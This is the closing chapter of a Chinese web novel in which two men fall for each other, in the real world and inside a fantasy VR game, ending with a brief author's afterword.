可是还没等他转过身,肩膀就被秦越死死按住,贺煜臣剩下的话被堵在喉咙里,只能看着秦越冷着一张脸。 “生意人做事要明码算账,贺总是不是少算了什么?” 贺煜臣唇线紧绷,如果秦越要在篡改系统上起诉他,自己的确是落入下风。他努力忽视着肩膀处传来的压迫感,“你要多少赔偿?我现在就可以让人来……” 秦越就停在他面前,距离近得能看清对方眼中自己的倒影。 秦越没有回答的每一秒,焦灼的空气像是一把火就能烧起来,然后把他焚之殆尽。 “贺总。”秦越轻声说道,几乎是耳语的音量。 贺煜臣的手在身侧微微收紧,指节泛白。 秦越注意到贺煜臣的这个小动作,冷着脸终于瞬间土崩瓦解,没忍住笑了。 “你还欠我一个小世界。” 是那个没有结局,就因为程序崩溃的小世界。 还因为秦越突然变脸没回过神的贺煜臣:“什么?” 秦越身体微微前倾,惊讶道:“难道你不承认?” “我没……不承认。”贺煜臣想往后退一步,可是他每挪一寸,对方就紧随其后。 直到贺煜臣背靠着墙壁,退无可退。 贺煜臣不自然地动了动,虽然这个地方是没有人,但隔着一个屏风,外面还有零零散散退场的记者。万一被人看见,明天的头条想都不用想了。 偏偏这个时候,秦越还一副很受伤的表情,面对他就像是面对一个渣男,眼里全是你是不是想抛下我的指责。 贺煜臣被压在墙角,只能从秦越的肩膀上方紧张地看着外面的情况,不敢太大动作,只能小幅度地推了推他,妥协道:“我知道了。” 秦越终于大发慈悲地松开他,垂眸笑了笑:“贺总,你怎么这么紧张啊?” 贺煜臣刚想反驳,被秦越下一句话弄得手足无措。 “搞得像……我们在偷情一样。” 贺煜臣感觉自己的脸都在冒热气了:“你!” 良好的家教让他此刻喷不出一个脏字,但凡简淮川在这里,他已经要开始狗叫了。当然也只能狗叫,简淮川也喷不过嘴巴淬了毒的秦越。 秦越好整以暇地欣赏完贺煜臣的窘迫,然后指了指贺煜臣的手表,“今晚八点,你不要忘了,我会一直等你。” 八点是游戏正式上线的时间,秦越也没别的意思,虽然他没意识到他有时候讲话跟威胁差不多。 贺煜臣忽然坐立难安起来。 他顶着秦越的目光,艰难地点了点头。 正当秦越想从屏风后面出去的时候,他停顿了一下,然后好心地说道:“要不,贺总先走?” 贺煜臣看了一眼外面的记者,眼神飘忽地趁人不注意快步走了出去。 贺煜臣边走边懊悔地想,他干什么心虚啊? 这不更像是偷情了吗?! 时间总是该快的时候不快,该慢的时候不慢,几个小时几乎眨眼就过去了。 夜幕无声,贺煜臣脑袋里的两个小人在左右互搏。 [答应人了怎么能反悔?] [现在后台程序是秦越在做了,他要是想修改数据折腾你怎么办?] [那那……那也是你先干的。] 贺煜臣盯着睡眠舱,牙一咬心一横躺了进去。哪怕是秦越在后台修改数据报复自己,他也认了- 天穹幻境里,贺煜臣是冻醒的。 他忽然发现自己的视力恢复了,便赶忙打量起来周围情况。 晚上燃起的火堆不知道灭了多久,火灵咒因为施法的人不见了,此刻也失去了作用。 贺煜臣意识到,那个救了自己的恶鬼不见了。他支撑着疲惫的身体想站了起来,妄图在这片看不见尽头的雪原里,找到那个身影。 ……不对。 自己根本没有见过那个人。 自己不知道对方长什么,贺煜臣突然反应过来一个可怕的事实,就算自己跟他擦肩而过,也很可能认不出对方。贺煜臣压下心底的失落,安慰自己这样最好,妖魔帮人都是有代价,对方既然走了自己也不用付出什么了。 风雪卷土重来,贺煜臣随手捻去落在睫毛上遮挡视线的雪花,他已经做好独自一人从这里走出去的打算。他一个人已经习惯了,至于那个男人……只是个擅长蛊惑人心的妖魔邪神而已。 他不该,也不能让对方做自己的依靠。 有人叫住了他。 “喂,你是想把我抛下吗?”声音听起来有点不太高兴。 下一秒,贺煜臣被按在松软的雪堆里,冰冷刺骨的温度从衣裳后传来,他看见说话的人居高临下的俯视着自己,“我好歹帮了你吧。” 他没见过的那张苍白俊美的脸陡然出现在自己面前。 “恶鬼”极轻地笑了一下,整个空间的气压都随之骤降。那不像是狂风暴雨的前兆,更像是幻境里上万古不化的严寒,无声无息却能断绝一切的生机。 明明从未见过,但潜意识告诉贺煜臣,这就是那个人。 秦越只是因为修改保留了自己的记忆数据,晚醒了几分钟,就发现贺煜臣一点没找他的意思。不虞之下,他还没反应过来贺煜臣只是个瞎子,想找他也找不到。 等秦越回想起来后,才松开钳制住贺煜臣的手把人拽了起来,放软声音说:“你看不见的话,就不要乱跑。” 贺煜臣被秦越拽得一个踉跄,鼻尖直接撞到对方下颌,两个人都结结实实地挨了一记,不约而同的发出一声闷哼。 他根本来不及解释自己现在能看见了,就被秦越拉着走了一路。 秦越的确没有照顾伤患的经验,贺煜臣得一路快走才跟得上他的步伐。 “你去哪了?”贺煜臣眉头死死拧着。 明明是这个人先不见了,结果他还恶人先告状了。 秦越随便找了个借口:“我已经帮你把狼妖的内丹拿到手,你可以去太虚神霄宗了。” 但是贺煜臣并没有表态什么。 “你的愿望实现了。”秦越停下了脚步,仔细观察着贺煜臣的神态,他有些疑惑地轻声问道,“为什么你还是不高兴呢?” 贺煜臣一反常态,将原来的淡漠揭去,他双手抓住秦越胸前的衣服,逼近对方脸颊,一字一句问道:“你究竟想要什么?” 这时候,秦越才发现对方双眼有神,并非之前那般空洞,他失笑道:“你能看见了。” “不要扯开话题!”贺煜臣额角青筋暴起,他态度强势声音却低哑得要命,“你到底要什么?” 他明明已经接受这偌大的仙洲界,他唯一能依靠的人只有自己,为什么这个家伙要阴魂不散地缠着他? 贺煜臣需要听到对方亲口说出他的所求,否则自己将会惶惶不可终日,因为他始终无法相信,会有人毫无目的地为别人着想,甚至会关心别人快不快乐。 秦越沉默了一会,他随手拂去贺煜臣头顶的雪花,然后缓缓道:“我的诉求就是……你。” 贺煜臣突然明白志怪小说里的狐妖为何能迷惑人的心志了,如此小意温柔善解人意,心境孤独的人完全没有还手之力。 “你想要我的什么?”贺煜臣笑了笑,“我修为欠佳,身无分文,唯有一身血肉能与你交换。” 秦越视线下移他胸口,半真半假地开玩笑道:“那拜托贺仙师把你的心给我,好不好啊。” 贺煜臣嘴角动了动,似乎下定了某种决心,“……给你好了。” 反正也不值钱。 秦越惊讶地看了他一眼,随后煞有介事地说:“那等我寻个良辰吉日,我再来取走你的心。” “什么时候是良辰吉日?”贺煜臣沙哑地开口。他神色平静,仿佛问的不是自己的死期。 “我看不懂你们的历法。到时候还要麻烦你告诉我。”秦越眼底笑意慢慢加深,“所以啊,到良辰吉日之前,我会一直跟着你的。” 这句话听起来像极了令人毛骨悚然的诅咒,可在贺煜臣听来,却诡异地得到了另一个结论。 他不再是孤身一人了。 贺煜臣的心脏突然剧烈跳动起来,遏制不住得各种情绪在胸口跌宕起伏,最后他只能死死按住胸前,似乎这样才能让它平复下来。 在肉眼看不到的后台里,AI对比着人类给它提供的训练数据,最终它提交了一个匹配的结论给主系统。 这是曾经的最后一个世界。 但它将会是新轮回的第一个世界。 因为在这一刻,有种感觉毫无预兆毫无防备地出现,胸口仿佛有蝴蝶破茧而出。 他们彼此心动了。 【全文完】—— 作者有话说:[小丑]做一下赛后总结: 感谢所有评论里支持俺的朋友,俗话说善语结善缘(bushi),在连载期间精神状态不是太好,一度想解v算了,总之结果是写完了[摊手] 所以十分感谢大家,么么哒[摊手]魔.蝎`小`说 M`o`x`i`e`x`s. c`o`m